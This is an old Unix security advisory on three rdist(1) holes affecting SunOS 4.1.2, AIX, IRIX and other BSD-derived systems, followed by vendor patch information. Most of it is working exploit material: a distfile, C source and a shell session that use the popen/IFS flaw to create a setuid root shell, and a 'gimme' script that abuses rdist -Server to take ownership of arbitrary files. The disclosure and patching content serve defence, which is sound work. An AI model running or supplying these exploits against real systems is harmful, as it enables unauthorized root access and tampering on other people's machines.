COMMAND

    rdist(1)

SYSTEMS AFFECTED

    SunOS  4.1.2  or  earlier  (Patch-ID#  100383-06  fixes this), AIX
    3.2.x, A/UX 2.0.1, SCO 3.2v4.2, BSD NET/2 Derived Systems,  UNICOS
    6.0/6.E/6.1, NeXTstep  Release 2.x,  IRIX 3.3/4.0  (fixed in 4.0),
    most systems supporting BSD rdist.  OS that are safe: Ultrix  4.3,
    OSF/1 1.3, HP-UX, Solaris 2

PROBLEM

    There are at least  3 security holes in  rdist. The first hole  is
    that rdist does a chown()/chmod  on file name as root,  instead of
    fchmod or  fchown. The  second one  blows a  bugger (4 times, each
    time  one  byte  shorter).  In  doing  so it overwrites the global
    variable  "userid"  that  just  happens  to  be  next  to  it. The
    trailing 0 from  the 4 iterations  zeros the userid  variable. The
    third   uses  popen(3)  to  execute  sendmail(8)  as  root. It can
    therefore be made to execute arbitrary programs as root by use  of
    the IFS variable.

    This  example  demonstrates  how  to  become root on most affected
    machines  by  creating  a  set-uid  root  shell  by exploiting the
    popen(3) call.

    Create the following file, 'distfile':

    --------------------------- cut here ----------------------------
    HOSTS = localhost
    FILES = BullInTheHeather
    ${FILES} -> ${HOSTS}
            install /tmp/1 ;
            notify user ;
    --------------------------- cut here ----------------------------

    Create the following file, 'usr.c':


    --------------------------- cut here ----------------------------
    main()
    {
            setuid(0);
            chown("sh", 0, 0);
            chmod("sh", 04755);
            exit(0);
    }
    --------------------------- cut here ----------------------------

    (Lines marked with > represent user input)

    >       % cp /bin/sh .
    >       % cc -o usr usr.c
    >       % set path=(. $path)
    >       % setenv IFS /
    >       % rdist
            updating host localhost
            rdist: BullInTheHeather: No such file or directory
            notify @localhost ( user )
    >       % ls -l
            -rwsr-xr-x  1 root       106496 Mar  4 00:25 sh
    >       % ./sh
            #

--------------------------- cut here ----------------------------
#! /bin/sh
# GIMME - "gimme' a file"
# Demonstrate rdist's ability to give me permission to access anything.
#
# gimme <pathname> [<permission> [<directory>]]
#       <pathname> is the target file.
#       <permission> is the octal mode to which the file access permission
#               should be set.  Note that this may not be effective unless
#               either the SUID (4000) or SGID (2000) bits are also requested.
#       <directory> is the target directory for rdist to use if a hard
#               link is desired.  Note that the user must have permission
#               to create this directory, it must be on the same filesystem
#               as the target file, and the target file must not be a
#               directory.  This option is necessary to change the ownership
#               of the target if chown() of a symbolic link modifies the
#               link itself, and not the file it refers to.
#

dirname=gimme$$
deftemp=/tmp
defperm=6777

if [ $1x = x ]; then
        echo "Usage: $0 <pathname> [<permission> [<directory>]]" >&2
        exit 1
fi

if [ $2x != x ]; then
        perm=$2
else
        perm=$defperm
fi

if [ $3x != x ]; then
        link="ln"
        temp=$3/$dirname
        target=$1
else
        link="ln -s"
        temp=$deftemp/$dirname
        case $1 in
        /*)
                target=$1
                ;;
        *)
                target=`pwd`/$1
                ;;
        esac
fi

trap "rm -fr $temp; exit 1"  1 2 15
umask 66
mkdir $temp; if [ $? != 0 ]; then
        exit 1
fi

set `whoami` $LOGNAME
user=$1
set daemon `groups`
while [ $# != 1 ]; do
        shift
done
group=$1

(
        echo "t$temp/something"
        echo "R0 $perm 1 0 $user $group "

        while [ ! -f $temp/rdist* ]; do
                sleep 1
        done

        set $temp/rdist*
        rm -f $1
        if $link $target $1 >&2; then
                echo "" | dd bs=3 conv=sync 2>/dev/null
                echo ""

                echo 0 > $temp/status
        else
                echo 1 > $temp/status
        fi

        exit
) | rdist -Server

status=`cat $temp/status`
rm -fr $temp
exit $status
--------------------------- cut here ----------------------------

SOLUTION

    Apply your vendor's patch.

    Cray Research, Inc.   UNICOS 6.0/6.E/6.1   Field Alert #132   SPR 47600

        For further information contact the Support Center at 1-800-950-CRAY or
        612-683-5600 or e-mail support@crayamid.cray.com.

    NeXT Computer, Inc.  NeXTstep Release 2.x

        A new version of rdist may be obtained from your
        authorized NeXT Support Center.  If you are an authorized
        support center, please contact NeXT through your normal
        channels.  NeXT also plans to make this new version of
        rdist available on the public NeXT FTP archives.

    Silicon Graphics   IRIX 3.3.x/4.0 (fixed in 4.0.1)

        Patches may be obtained via anonymous ftp from sgi.com in the
        sgi/rdist directory.

    Sun Microsystems, Inc.   SunOS 4.0.3/4.1/4.1.1   Patch ID 100383-06

        Patches may be obtained via anonymous ftp from ftp.uu.net or from local
        Sun Answer Centers worldwide.

    Both bugs can be fixed by
    adding one line at the beginning of the server routine:

        setreuid(userid,userid); or setuid(userid);

    There  is  no  need  for   rdist  -Server  to run as root. You can
    also  just  remove  the  setuid  bin  from  rdist  and/or   obtain
    USC's  version  of  rdist  from  usc.usc  (pub/rdist).  For  Sun's
    the patch id number is 100383-06.